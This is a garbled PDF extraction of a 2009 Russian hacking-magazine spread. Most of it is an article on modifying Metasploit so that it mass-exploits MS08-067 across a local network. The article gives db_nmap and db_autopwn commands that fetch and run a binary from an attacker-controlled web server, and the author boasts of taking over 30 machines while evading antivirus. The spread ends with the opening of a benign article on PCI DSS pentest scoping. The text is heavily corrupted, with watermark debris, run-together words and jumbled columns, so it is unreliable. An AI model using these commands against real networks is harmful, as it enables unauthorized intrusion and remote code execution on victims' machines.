книги хакеры / журнал хакер / 128_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|
|
|
|
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|||||
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
|
|
|
|||
w Click |
to |
|
|
|
|
m |
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
w |
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
|
|
|
|
|
|
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
>>
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
взломw |
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
o |
m |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
РАСШИРЕННЫЕОПЦИИМОДУЛЯ
DB_AUTOPWN
—«Fingerprint: Windows XP Service Pack 2+
—lang:Russian», хотяуменябылSP3. Чтобы понять, чтоэтозначит, янемногопошарилпо исходникам.
Какитог, есливsp возвращаетсястрокасо знаком«+», значит, сервиспактупонеудалось определить. Чтож, выбираемвкачествецели конкретнуюверсию(Windows XP SP3 Russian (NX)) ипробуемзаново. Опятьоблом— «Exploit failed: The server responded with error: STATUS_ OBJECT_NAME_NOT_FOUND (Command=162 WordCount=0)». Этаошибканавеваламысль оневозможностиподключениякпайпу. Я включилобщийдоступкфайламивслучае автоопределенияверсииполучалследующий результат— «Selected Target: Windows XP SP0/SP1 Universal — Exploit failed: The server responded with error: STATUS_OBJECT_NAME_ NOT_FOUND (Command=162 WordCount=0)».
Ужедругое, новсеравнонето. Вслучаеявного указанияцелиэксплойттакженеработал. ОднакоеслисменитьпайпсBROWSER на SRVSVC, можнополучитьзаветныйшелл. Конечно, здорово, нодляреализациинужно заранеезнатьверсиюоперационнойсистемы наудаленноймашине, чтодляавтосплойта совсемнекатит. Новедьяпробовалсплойтна локалке, ионработал! Оставаласьпоследняя надежда— расшаритькакую-нибудьпапку. Это ничутьнеизменилокартину. Яготовужебыл рватьнасебеволосыикрушить-ломатьвсе подряд. Отбессилияясталгуглитьинаткнулся накакой-тобаглист, вкоторомпареньписало жуткихтеркахсфаером. Тогдатак. Запускаеми сразужеостанавливаемчудо-мега-фаермел- комягких… Эксплойтработает, какмиленький! Причемнаобоихпайпаходинаковохорошо определяетверсиисервиспакаисоздает любезныеглазусессии.
Итак, стестовойнастройкойяопределился, расклонировалсистемуиполучилстендиз трехуязвимыхмашин.
НУЖЕНТРАНСПОРТ
Дляреализацииавтоматическойсистемыэксплуатациинеобходимообеспечить транспортизапусксозданногобинарника науязвимыхсистемах. Окинуввзглядом доступныенагрузки, ярадостнопотеррукии
ЗАДАЕМSFX ОПЦИИДЛЯРАСПАКОВКИИЗАПУСКАНАВЫПОЛНЕНИЕ
принялсяокучиватьнагрузкуwindows/upexec/ bind_tcp. Еецелькакразисостоитвзагрузке файланахостспоследующимисполнением.
Увы, радостьбыстроулетучилась, когдая обнаружил, чтонихренаонанепашет. Позжея выяснил, чтовниксовойверсииметасплойта всеработаетнаура, однакояподразумеваю запускметасплойтанаполоманнойвиндовскоймашине, следовательно, нужноискать другиеварианты. Выходомсталоисполь-
зованиенагрузкиwindows/download_exec.
ДляэтогонеобходимдоступныйWeb-сервер, куданадоположитьсозданныйбинарник. Сервакможноподнятьнасамоймашине, например, используяXAMPP. Ятакипоступил. URL бинарникауказываемводноименном параметренагрузкиизапускаемэксплойт. Навыходеполучаемошибку— «Exploit failed: No encoders encoded the buffer successfully».
Всеправильно: download_exec представляет собойцельнуюнагрузку, котораянеумещается вбуферсплойта, поэтомунужноиспользовать stager, например, download_exec/bind_tcp.
Проводиманалогичныенастройкииполучаем нужныйрезультат. Черезпаруминутямог коннектитьсяпоRDP садминскимиправами, невыбиваятекущегоюзера.
Моевниманиепривлектотфакт, чтозадание оставалосьвисеть, асессиятакинесоздавалась. Дляединичноговоздействияэто вполненормально, ноприавтосплойтесети мыполучимбольшиепроблемы. Во-первых, модульdb_autopwn выполняетсямногопоточноиимеетограничениенаколичество одновременновыполняемыхзаданий, которое поумолчаниюравно5. Этозначит, чтоприуспешнойэксплуатации5 узловостальныебудут бесконечноибестолковоболтатьсявочереди. Во-вторых, послепрогонаdb_autopwn неплохобылобыиметьсписокпорутанных узлов, которыйудобнополучатьпокоманде «sessions –l». Конечно, этиограничения
нетакужисущественны, нохочетсяжевсе сделатькрасиво, — поэтомуярешилнемного подправитькодdownload_exec стем, чтобыон все-такиприводилксозданиюсессии.
XÀÊÅÐ 08 /128/ 09 |
049 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
>>m |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
w Click |
to |
|
|
|
|
взлом |
|
|
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|||||||||||||||||||||
w |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
ПОСЛЕДНИЕПРИГОТОВЛЕНИЯ |
ДЛЯБЫСТРОГОПОДНЯТИЯWEB- ИFTP-СЕРВЕРА |
|
УДОБНОИСПОЛЬЗОВАТЬXAMPP |
INFO |
info
• Чтобыбыстро поднятьWebили FTP-серверможно воспользоваться специальными сборками, окоторых писалосьвстатье «Серверводин клик!» вфевральском z. ЛичномнебольшеподушеXAMPP (apachefriends.org/ en/xampp.html).
• Статьянепретендует наполноту, апредставляетсобойнекий PoC. Рассмотренные методыможносерьезноусовершенствовать, вчастности, реализоватьудаление
всехвременныхфайлов, осуществлять проверкуверсии termsrv.dll всистеме,
использоватьсуществующиеучетные записи, например, support_388945a0,
атакжеоформитьвсе действиявконсоли метасплойтаввиде одногоскрипта.
Еслитебяпосетит вдохновение, пишина мыло, будурадлюбой обратнойсвязи.
AUTOIT НАВСЕСЛУЧАИЖИЗНИ
Коднагрузкинаходитсяпоадресу%appdata%\msf32\ modules\payloads\singles\windows\download_exec. rb ипредельнопрост. Очевидно, чтосессиянесоздаетсяпопричинетого, чтонагрузкапростонепредназначенадлясозданияшелла. Этолегкопоправить! Достаточнодобавитьпараметрsession созначением
Msf::Sessions::CommandShell. Исправленныйисходник ждеттебянадиске.
НЕБОГИГОРШКИ ОБЖИГАЮТ
Последнее, что осталось сделать — это научить функ-
цию db_autopwn применять нагрузку download_exec.
Если помнишь, в своем изихаке SKVOZ предлагал
использовать ключ «-b», который указывает, что будет использоваться bind-шелл. Для нас это вообще не имеет смысла, так как ручками мы работать не хотим. Необходимо переправить бинарник на уязвимую тачку и выполнить его. Из справки по функции видно, что параметров, отвечающих за использование той или иной нагрузки, нет. db_autopwn умеет только привязывать шелл или создавать реверс-коннект. Причем из исходников модуля db (кури файл %appdata%\ msf32\lib\msf\ui\console\command_dispatcher\db.rb)
становится очевидно, что это даже не meterpreter, а generic шелл. В погоне за универсальностью разрабы оставили нас не у дел, так что для реализации моего злого замысла я решил захачить модуль и реализо-
050 |
XÀÊÅÐ 08 /128/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|||||||||||||
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
|
||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
w Click |
to |
|
|
|
|
m |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
w |
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
>>
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
взломw |
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
o |
m |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
ИЗВЕЧНАЯПРОБЛЕМА СКОДИРОВКАМИ
|
|
|
Сзамираниемдухаянажал<ENTER> ипо- |
|
|
|
шелкурить. Ячеловекдобрыйидалюзверям |
|
|
|
двеминутынасохранениерезультатовиз |
|
|
|
безумноважнойдеятельности. Вернувшись |
|
|
|
ккомпуинабраввконсоли«sessions –l», я |
|
|
|
увиделвсетеже30 машин, чтоиприпервом |
|
|
|
эксперименте. Сохраниврезультатывблок- |
|
|
|
ноте, явооружилсяmstsc ипринялсяпрове- |
|
|
|
рятькачествопроделаннойработы. Блестя- |
|
|
|
ще! Ямогрутать30-юмашинами, затративна |
|
|
|
этовсего5 минут. Особоменяобрадовалтот |
|
|
|
факт, чтониESET NOD32 4, ниDr.Web даже |
|
|
|
неругалисьидалиспокойноосуществиться |
|
|
|
моимпланам. Позжеяузнал, чтопропалился |
|
|
|
наOutpost иKaspersky Anti-Hacker. |
АВТОСПЛОЙТВДЕЙСТВИИ |
|
|
Атеперьпосчитаем. NMAP нашел116 узлов |
|
|
|
соткрытымпортом445, изкоторыхмнеочень |
|
|
|
быстродостались30. Большечетвертиузлов |
вать возможность применения произволь- |
|
- PAYLOAD=windows/download_exec/ |
влокалкепопались, причемнепростотак, |
ной нагрузки. |
|
bind_tcp; |
аснормальнымграфическиминтерфейсом |
Какивслучаесмодулемdownload_exec, на |
|
- URL=http://172.16.1.10/st.exe. |
ипрактическибезособыхсмоейстороны |
дискетебяждетпропатченнаяверсияdb.rb; |
|
|
усилий! Круто, нетакли? Принеобходимости |
|
|
||
наэтомжеDVD ищиисампатч. |
Здесь172.16.1.10 — адресмашины, нако- |
можнобыловручнуюпорутатьеще, подбирая |
|
Хотелось все сделать по-взрослому и краси- |
торойподнятWeb-сервер, аst.exe — злове- |
нужныйсервиспакнапайпеSRVSVC. |
|
во, так что перво-наперво я модифицировал |
щийбинарник, которыйбудетзагружаться |
НЕТНИЧЕГО |
|
вывод справки, добавив в него пункт, отве- |
наконечныеузлы. Итак, всеготово, пора |
||
чающий за описание нового параметра «-P». |
сплойтить. |
НЕВОЗМОЖНОГО, ХАКЕР! |
|
Логика работы следующая: если установлен |
КОРОЛИСЕТИ |
Ужереализовавсвоизлостныепланы, я |
|
параметр «-P», будет применена указанная |
наткнулсянаачатенастатьюодногочела |
||
нагрузка; в противном случае модуль работа- |
Сначалаяудостоверился, чтовсеработает, |
(forum.antichat.ru/thread99665.html), который |
|
ет так же, как и оригинальный вариант. |
натестовойсети. Послевводанужныхкоманд |
описывал, какполучатьдедикисиспользо- |
|
Длязаданияпараметровэксплойтаили |
всетримашиныушливперезагрузку, азатем |
ваниемметасплойта. Тамонгневноговорило |
|
нагрузкияпредлагаюдваварианта. Либо |
радостновстречалименяпоRDP. Порапри- |
парнях, которыедумают, чтоможнополучить |
|
использоватьпеременные, либопервона- |
ступатькполномасштабнымиспытаниям. |
дедикоднимдвижениемруки. Цитирую: |
|
чальнонастроитьмодульисохранитьего |
Запускаемконсольmetasploit игенерим |
«есликто-тохочетжатьнакнопку«приме- |
|
состояние. Параметрыбудутсохраненыв |
следующиекоманды: |
нитьвМестаслойте» ичтобыонвамвыкиды- |
|
%appdata%\.msf3\config ииспользованы |
|
|
валготовыедеды, ИДИТЕЛЕСОМ, дабыне |
поумолчаниюпривызовемодуля. Мне |
|
КОМАНДЫНАЗАПУСКАВТОСПЛОЙТА |
сказатьгрубей!». Мнекажется, оннеправ:). |
большенравитсявторойвариант, поэтомув |
|
load db_sqlite3 |
Никогданеговори«невозможно», покасам |
графическоминтерфейсеявыбралэкс- |
|
db_create |
непошевелишьизвилинамиинепопробу- |
плойтms08_067 инастроилегоследующим |
|
db_nmap -sT -PN -PS445 -p445 |
ешь. Учисьберечьсебяиавтоматизировать |
образом: |
|
172.16.1.0/24 |
рутинныедействиянастолько, насколькоэто |
|
|
setg URL http://172.16.1.10/st.exe |
возможно! Удачи, хакер, слушайметалибудь |
- TARGET=0 (автоматическое опреде- |
|
db_autopwn -e -p -P windows/ |
счастлив! Идапребудетстобойчернаямагия |
ление); |
|
download_exec/bind_tcp -m ms08_067 |
автосплойта! z |
|
|
|
|
XÀÊÅÐ 08 /128/ 09 |
051 |
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
>>m |
|
|||
w Click |
to |
|
|
|
взлом |
|||||
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
Payment Card Industry Data Security Standard (PCI DSS)
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
ПРАВИЛА
S4AVRD0W / S4AVRD0W@P0C.RU /
ПЕНТЕСТА
АУДИТПОСТАНДАРТУPCI DSS
Любоеобъективноеиполноценноетестированиенапроникновение должновыполнятьсясучетомрекомендацийиправил.
Хотябыдлятого, чтобыбытьграмотнымспецоминичегонеупустить. Поэтому, еслитыхочешьсвязатьсвоюпрофессиональнуюдеятельностьспентестом— обязательноознакомьсясостандартами.
Авпервуюочередь— смоейстатьей.
>> взлом
Правилаирамкиинформационногопентес- |
анализраспорядительнойдокументации,различ- |
живании»(DoS).Следовательно,проводимое |
тингапредставленывметодологияхOSSTMM |
ныхпроцессовИТ/ИБимногоещечего. |
тестированиедолжноосуществлятьсяметодом |
иOWASP.Впоследствииполученныеданные |
Чтокасаетсятестированиянапроникновениев |
«серогоящика»собязательнымпредупреждени- |
можнолегкоадаптироватьдляпроведенияоцен- |
соответствиистребованиямистандартапозащи- |
емадминистраторовсоответствующихсистем. |
кисоответствияскакими-либопромышленными |
теинформациивиндустрииплатежныхкарт,—он |
3.Основнаяцельтакоготестирования—этопопыт- |
стандартамии«лучшимимировымипрактика- |
ненамногоотличаетсяотобычноготестирования, |
каосуществлениянесанкционированногодоступа |
ми»,такимикак,Cobit,стандартамисерииISO/IEC |
проводимогосиспользованиемметодикOSSTMM |
кданнымплатежныхкарт(PAN,CardholderNameи |
2700x,рекомендациямиCIS/SANS/NIST/etcи—в иOWASP.Болеетого,стандартомPCIDSSреко- |
т.п.).Подметодом«серогоящика»(graybox)подра- |
|
нашемслучае—стандартомPCIDSS. |
мендуетсяпридерживатьсяправилOWASPпри |
зумеваетсявыполнениеразличногородапроверок |
Безусловно,накопленныхданных,полученныхв |
проведениикакпентеста(AsV),такиаудита(QSA). |
спредварительнымполучениемдополнительной |
процессетестированиянапроникновение,дляпро- |
ОсновныеотличиятестированияпоPCIDSS |
информацииобисследуемойсистеменаразных |
веденияполноценнойоценкипопромышленным |
оттестированиянапроникновениевшироком |
этапахтестирования.Этопозволяетснизитьриск |
стандартамбудетнедостаточно.Нонатоонипентест, |
смыслеэтогословазаключаютсявследующем: |
отказавобслуживанииприпроведенииподобных |
анеаудит.Крометого,дляосуществлениятакой |
1. Стандартомнерегламентируется(азначити |
работвотношенииинформационныхресурсов, |
оценкивполномобъемеоднихлишьтехнологичес- |
нетребуется)проведениеатаксиспользованием |
функционирующихврежиме24/7. |
кихданныхполюбомубудетмало.Дляполноценной |
социальнойинженерии. |
Вобщемслучаетестированиенапроникновение |
оценкитребуетсяинтервьюированиесотрудников |
2.Всепроводимыепроверкидолжнымаксималь- |
потребованиямPCIдолжноудовлетворятьследу- |
различныхподразделенийоцениваемойкомпании, |
номинимизироватьугрозу«Отказавобслу- |
ющимкритериям: |
052 |
XÀÊÅÐ 08 /128/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
Payment Card Industry Data Security Standard (PCI DSS)
>>
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
взломw |
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
||||
|
|
|
|
|
o |
m |
||||
|
w |
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
ВЫЯВЛЕННЫЙ DTP-ТРАФИК
п.11.1(b) — Анализ защищенности беспроводных сетей п.11.2 — Сканирование информаци-
онной сети на наличие уязвимостей (AsV)
п.11.3.1 — Проведение проверок на сетевом уровне (Network-layer penetration tests)
п.11.3.2 — Проведение проверок на уровне приложений (Applicationlayer penetration tests)
Наэтомтеориязаканчивается,имыпереходимк практике.
ОПРЕДЕЛЕНИЕГРАНИЦПРОВОДИМОГОИССЛЕДОВАНИЯ
Впервуюочередьнеобходимопонятьграницы тестированиянапроникновение,определиться исогласоватьпоследовательностьвыполняемых действий.ВлучшемслучаесостороныподразделенияИБможетбытьполученакартасети,на которойсхематичнопоказано,какимобразом процессинговыйцентрвзаимодействуетсобщей инфраструктурой.Вхудшем—придетсяобщаться ссистемнымадминистратором,которыйвкурсе собственныхкосяков,иполучениеисчерпывающихданныхобинформационнойсистемебудет затрудненоегонежеланиемделитьсясвоими уникальными(èëè íå очень,—прим.Forb)зна- ниями.Такилииначе,дляпроведенияпентеста поPCIDSS,какминимум,требуетсяполучить следующуюинформацию:
•сегментация сети (пользовательская, технологическая, ДМЗ, процессинг и т.д.)
•межсетевое экранирование на границах подсетей (ACL/МСЭ)
•используемые Web-приложения и СУБД (как тестовые, так и продуктивные)
•используемые беспроводные сети
